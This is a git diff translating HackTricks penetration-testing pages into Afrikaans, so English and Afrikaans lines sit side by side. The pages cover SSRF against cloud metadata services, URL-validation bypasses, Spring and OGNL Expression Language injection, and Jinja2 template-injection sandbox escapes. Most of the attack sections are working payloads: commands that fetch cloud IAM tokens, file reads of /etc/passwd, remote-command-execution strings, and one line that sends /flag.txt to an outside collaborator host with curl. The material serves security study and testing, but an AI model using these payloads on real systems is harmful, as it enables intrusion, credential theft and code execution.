+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
{{#endtab}}
{{#endtabs}}
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
> [!WARNING]
> Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM
> Let daarop dat metadata in IBM standaard nie geaktiveer is nie, so dit is moontlik dat jy nie toegang daartoe sal hê nie, selfs al is jy binne 'n IBM cloud VM
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
@ -597,28 +564,27 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
Dokumentasie vir verskeie platforms se metadata dienste is hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry.
## Packetcloud
For accessing Packetcloud's metadata, the documentation can be found at: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Vir toegang tot Packetcloud se metadata, kan die dokumentasie gevind word by: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
The necessity for a header is not mentioned. Metadata can be accessed through:
Die noodsaaklikheid vir 'n kop is nie genoem nie. Metadata kan verkry word deur:
- `http://169.254.169.254/openstack`
## HP Helion
The necessity for a header is not mentioned here either. Metadata is accessible at:
Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is toeganklik by:
- `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud provides a series of endpoints for accessing various metadata aspects:
Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata aspekte:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -627,7 +593,7 @@ Oracle Cloud provides a series of endpoints for accessing various metadata aspec
## Alibaba
Alibaba offers endpoints for accessing metadata, including instance and image IDs:
Alibaba bied eindpunte vir toegang tot metadata, insluitend instansie en beeld ID's:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
@ -635,26 +601,25 @@ Alibaba offers endpoints for accessing metadata, including instance and image ID
## Kubernetes ETCD
Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:
Kubernetes ETCD kan API sleutels, interne IP adresse, en poorte hou. Toegang word gedemonstreer deur:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Docker metadata can be accessed locally, with examples given for container and image information retrieval:
Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer en beeld inligting herwinning:
- Simple example to access containers and images metadata via the Docker socket:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Inside the container, use curl with the Docker socket:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
- Eenvoudige voorbeeld om toegang tot houers en beelde metadata via die Docker soket te verkry:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Binne die houer, gebruik curl met die Docker soket:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Rancher's metadata can be accessed using:
Rancher se metadata kan verkry word deur:
- `curl http://rancher-metadata/<version>/<path>`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# SSRF Vulnerable Platforms
# SSRF Kwetsbare Platforms
{{#include ../../banners/hacktricks-training.md}}
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
Kontroleer **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# URL Format Bypass
# URL Formaat Omseiling
{{#include ../../banners/hacktricks-training.md}}
### Localhost
### Plaaslike gasheer
```bash
# Localhost
http://127.0.0.1:80
@ -76,13 +75,11 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../images/image (776).png>)
The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses.
### Domain Parser
Die **Burp-uitbreiding** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementeer IP-formaat omseilings.
### Domein Parser
```bash
https:attacker.com
https:/attacker.com
@ -111,9 +108,7 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Domain Confusion
### Domein Verwarring
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -148,33 +143,29 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Paaie en Uitbreidingsomseiling
### Paths and Extensions Bypass
If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
As jy vereis dat die URL moet eindig in 'n pad of 'n uitbreiding, of 'n pad moet bevat, kan jy een van die volgende omseilings probeer:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) ook vir meer inligting.
### Automatic Custom Wordlists
### Outomatiese Aangepaste Woordlyste
Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
Kyk na die [**URL validasie omseil spiekbrief** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host-header of in 'n CORS-header kan gebruik.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
### Bypass via redirect
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
### Omseil via herleiding
Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **herleiding** antwoord op daardie versoek nie.\
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil herlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
[Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -184,41 +175,39 @@ import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Explained Tricks
## Verduidelik Tricks
### Blackslash-trick
The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne blaaiers aangeneem. Die sleutelonderskeid lê in die WHATWG-standaard se erkenning van die backslash (`\`) as gelyk aan die voorwaartse skuif (`/`), wat die manier beïnvloed waarop URL's geparseer word, spesifiek die oorgang van die hostname na die pad in 'n URL merk.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Left square bracket
### Linker vierkantige hakie
The “left square bracket” character `[` in the userinfo segment can cause Springs UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
Die “linker vierkantige hakie” karakter `[` in die gebruikersinligtingsegment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Other Confusions
### Ander Verwirring
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>)
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
beeld van [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## References
## Verwysings
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,21 +4,21 @@
## Bsic Info
Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:
Expression Language (EL) is integraal in JavaEE vir die oorbrugging van die aanbiedingslaag (bv. webbladsye) en toepassingslogika (bv. bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:
- **JavaServer Faces (JSF)**: For binding UI components to backend data/actions.
- **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages.
- **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans.
- **JavaServer Faces (JSF)**: Vir die binding van UI-komponente aan agtergrond data/aksies.
- **JavaServer Pages (JSP)**: Vir data toegang en manipulasie binne JSP-bladsye.
- **Contexts and Dependency Injection for Java EE (CDI)**: Vir die fasilitering van weblaag interaksie met bestuurde bone.
**Usage Contexts**:
**Gebruik Konteks**:
- **Spring Framework**: Applied in various modules like Security and Data.
- **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.
- **Spring Framework**: Toegepas in verskeie modules soos Sekuriteit en Data.
- **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.
EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.
EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur `.jsp` of `.jsf` lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter afhanklik van die weergawe se kenmerke en die gebruik van sekere karakters.
> [!NOTE]
> Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
> Afhangende van die **EL weergawe** mag sommige **kenmerke** **Aan** of **Af** wees en gewoonlik mag sommige **karakters** **verbode** wees.
## Basic Example
@ -32,53 +32,46 @@ Download from the [**Maven**](https://mvnrepository.com) repository the jar file
- `spring-expression-5.2.1.RELEASE.jar`
And create a the following `Main.java` file:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
Volgende kompileer die kode (as jy nie `javac` geïnstalleer het nie, installeer `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Execute the application with:
Voer die toepassing uit met:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Let op hoe in die vorige voorbeeld die term `{5*5}` was **geëvalueer**.
Note how in the previous example the term `{5*5}` was **evaluated**.
## **CVE-gebaseerde Handleiding**
## **CVE Based Tutorial**
Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
Kyk dit in **hierdie pos:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads
### Basic actions
### Basiese aksies
```bash
#Basic string operations examples
{"a".toString()}
@ -102,46 +95,34 @@ Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Opsporing
### Detection
- Burp detection
- Burp opsporing
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
- J2EE detection
- J2EE opsporing
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
- Sleep 10 secs
- Slap 10 sekondes
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Remote File Inclusion
### Afgeleë Lêer Insluiting
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Directory Listing
### Gidslys
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE
- Basic RCE **explanation**
- Basiese RCE **verklaring**
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
@ -157,21 +138,15 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
- RCE **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- RCE **Windows** (not tested)
- RCE **Windows** (nie getoets)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- **More RCE**
- **Meer RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
@ -207,38 +182,31 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Ondersoek die omgewing
### Inspecting the environment
- `applicationScope` - global application variables
- `requestScope` - request variables
- `initParam` - application initialization variables
- `sessionScope` - session variables
- `param.X` - param value where X is the name of a http parameter
You will need to cast this variables to String like:
- `applicationScope` - globale toepassingsvariabeles
- `requestScope` - versoekvariabeles
- `initParam` - toepassingsinisialisering variabeles
- `sessionScope` - sessievariabeles
- `param.X` - param waarde waar X die naam van 'n http parameter is
Jy sal hierdie variabeles na String moet cast soos:
```bash
${sessionScope.toString()}
```
#### Authorization bypass example
#### Voorbeeld van outomatisering van magtiging
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
The application can also use custom variables like:
Die toepassing kan ook pasgemaakte veranderlikes gebruik soos:
```bash
${user}
${password}
${employee.FirstName}
```
## WAF Bypass
Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
Kyk na [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
## References
@ -248,4 +216,3 @@ Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pm
- [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,11 @@
<figure><img src="../../images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Verdiep jou kundigheid in **Mobiele Sekuriteit** met 8kSec Akademie. Beheers iOS en Android sekuriteit deur ons self-gebaseerde kursusse en kry sertifisering:
{% embed url="https://academy.8ksec.io/" %}
## **Lab**
## **Laboratorium**
```python
from flask import Flask, request, render_template_string
@ -17,21 +16,19 @@ app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
app.run()
```
## **Verskeie**
## **Misc**
### **Debug Statement**
If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see whats available to use in the template without setting up a debugger.
### **Foutopsporingsverklaring**
As die Foutopsporingsuitbreiding geaktiveer is, sal 'n `debug` etiket beskikbaar wees om die huidige konteks sowel as die beskikbare filters en toetse te dump. Dit is nuttig om te sien wat beskikbaar is om in die sjabloon te gebruik sonder om 'n foutopspoorder op te stel.
```python
<pre>
@ -48,19 +45,15 @@ If the Debug Extension is enabled, a `debug` tag will be available to dump the c
</pre>
```
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
### **Dump all config variables**
### **Dump alle konfigurasie veranderlikes**
```python
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
@ -70,16 +63,14 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
```
## **Jinja Injection**
First of all, in a Jinja injection you need to **find a way to escape from the sandbox** and recover access the regular python execution flow. To do so, you need to **abuse objects** that are **from** the **non-sandboxed environment but are accessible from the sandbox**.
Eerstens, in 'n Jinja-inspuiting moet jy **'n manier vind om uit die sandbox te ontsnap** en toegang te herstel tot die gewone python uitvoeringsvloei. Om dit te doen, moet jy **objekte misbruik** wat **van** die **nie-sandboxed omgewing kom, maar toeganklik is vanaf die sandbox**.
### Accessing Global Objects
For example, in the code `render_template("hello.html", username=username, email=email)` the objects username and email **come from the non-sanboxed python env** and will be **accessible** inside the **sandboxed env.**\
Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are:
### Toegang tot Globale Objekte
Byvoorbeeld, in die kode `render_template("hello.html", username=username, email=email)` kom die objekte username en email **van die nie-sandboxed python omgewing** en sal **toeganklik** wees binne die **sandboxed omgewing.**\
Boonop is daar ander objekte wat **altyd toeganklik sal wees vanaf die sandboxed omgewing**, hierdie is:
```
[]
''
@ -88,15 +79,13 @@ dict
config
request
```
### Herwinning \<class 'object'>
### Recovering \<class 'object'>
Dan, van hierdie objekten moet ons by die klas kom: **`<class 'object'>`** om te probeer om gedefinieerde **klas** te **herwin**. Dit is omdat ons van hierdie objek kan die **`__subclasses__`** metode aanroep en **toegang kry tot al die klasse van die nie-sandboxed** python omgewing.
Then, from these objects we need to get to the class: **`<class 'object'>`** in order to try to **recover** defined **classes**. This is because from this object we can call the **`__subclasses__`** method and **access all the classes from the non-sandboxed** python env.
In order to access that **object class**, you need to **access a class object** and then access either **`__base__`**, **`__mro__()[-1]`** or `.`**`mro()[-1]`**. And then, **after** reaching this **object class** we **call** **`__subclasses__()`**.
Check these examples:
Om toegang te kry tot daardie **objek klas**, moet jy **toegang kry tot 'n klas objek** en dan toegang kry tot ofwel **`__base__`**, **`__mro__()[-1]`** of `.`**`mro()[-1]`**. En dan, **na** die bereik van hierdie **objek klas** roep ons **`__subclasses__()`** aan.
Kyk na hierdie voorbeelde:
```python
# To access a class object
[].__class__
@ -140,23 +129,19 @@ dict.__mro__[-1]
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Ontsnapping
### RCE Escaping
**Nadat ons herstel het** `<class 'object'>` en `__subclasses__` aangeroep het, kan ons nou daardie klasse gebruik om lêers te lees en te skryf en kode uit te voer.
**Having recovered** `<class 'object'>` and called `__subclasses__` we can now use those classes to read and write files and exec code.
The call to `__subclasses__` has given us the opportunity to **access hundreds of new functions**, we will be happy just by accessing the **file class** to **read/write files** or any class with access to a class that **allows to execute commands** (like `os`).
**Read/Write remote file**
Die oproep na `__subclasses__` het ons die geleentheid gegee om **honderde nuwe funksies** te **benader**, ons sal gelukkig wees net deur die **lêer klas** te **lees/skryf lêers** of enige klas met toegang tot 'n klas wat **opdragte toelaat om uitgevoer te word** (soos `os`).
**Lees/Skryf afstandslêer**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -179,20 +164,18 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
To learn about **more classes** that you can use to **escape** you can **check**:
Om meer te leer oor **meer klasse** wat jy kan gebruik om te **ontsnap**, kan jy **kyk**:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### Filter bypasses
### Filter omseilings
#### Common bypasses
These bypass will allow us to **access** the **attributes** of the objects **without using some chars**.\
We have already seen some of these bypasses in the examples of the previous, but let sumarize them here:
#### Algemene omseilings
Hierdie omseilings sal ons toelaat om die **kenmerke** van die voorwerpe **sonder om sekere karakters te gebruik**.\
Ons het reeds van hierdie omseilings in die voorbeelde van die vorige gesien, maar laat ons dit hier opsom:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -224,31 +207,25 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
- [**Keer hier terug vir meer opsies om toegang te verkry tot 'n globale objek**](jinja2-ssti.md#accessing-global-objects)
- [**Keer hier terug vir meer opsies om toegang te verkry tot die objek klas**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**Lees dit om RCE te kry sonder die objek klas**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
- [**Return here for more options to access a global object**](jinja2-ssti.md#accessing-global-objects)
- [**Return here for more options to access the object class**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**Read this to get RCE without the object class**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**Avoiding HTML encoding**
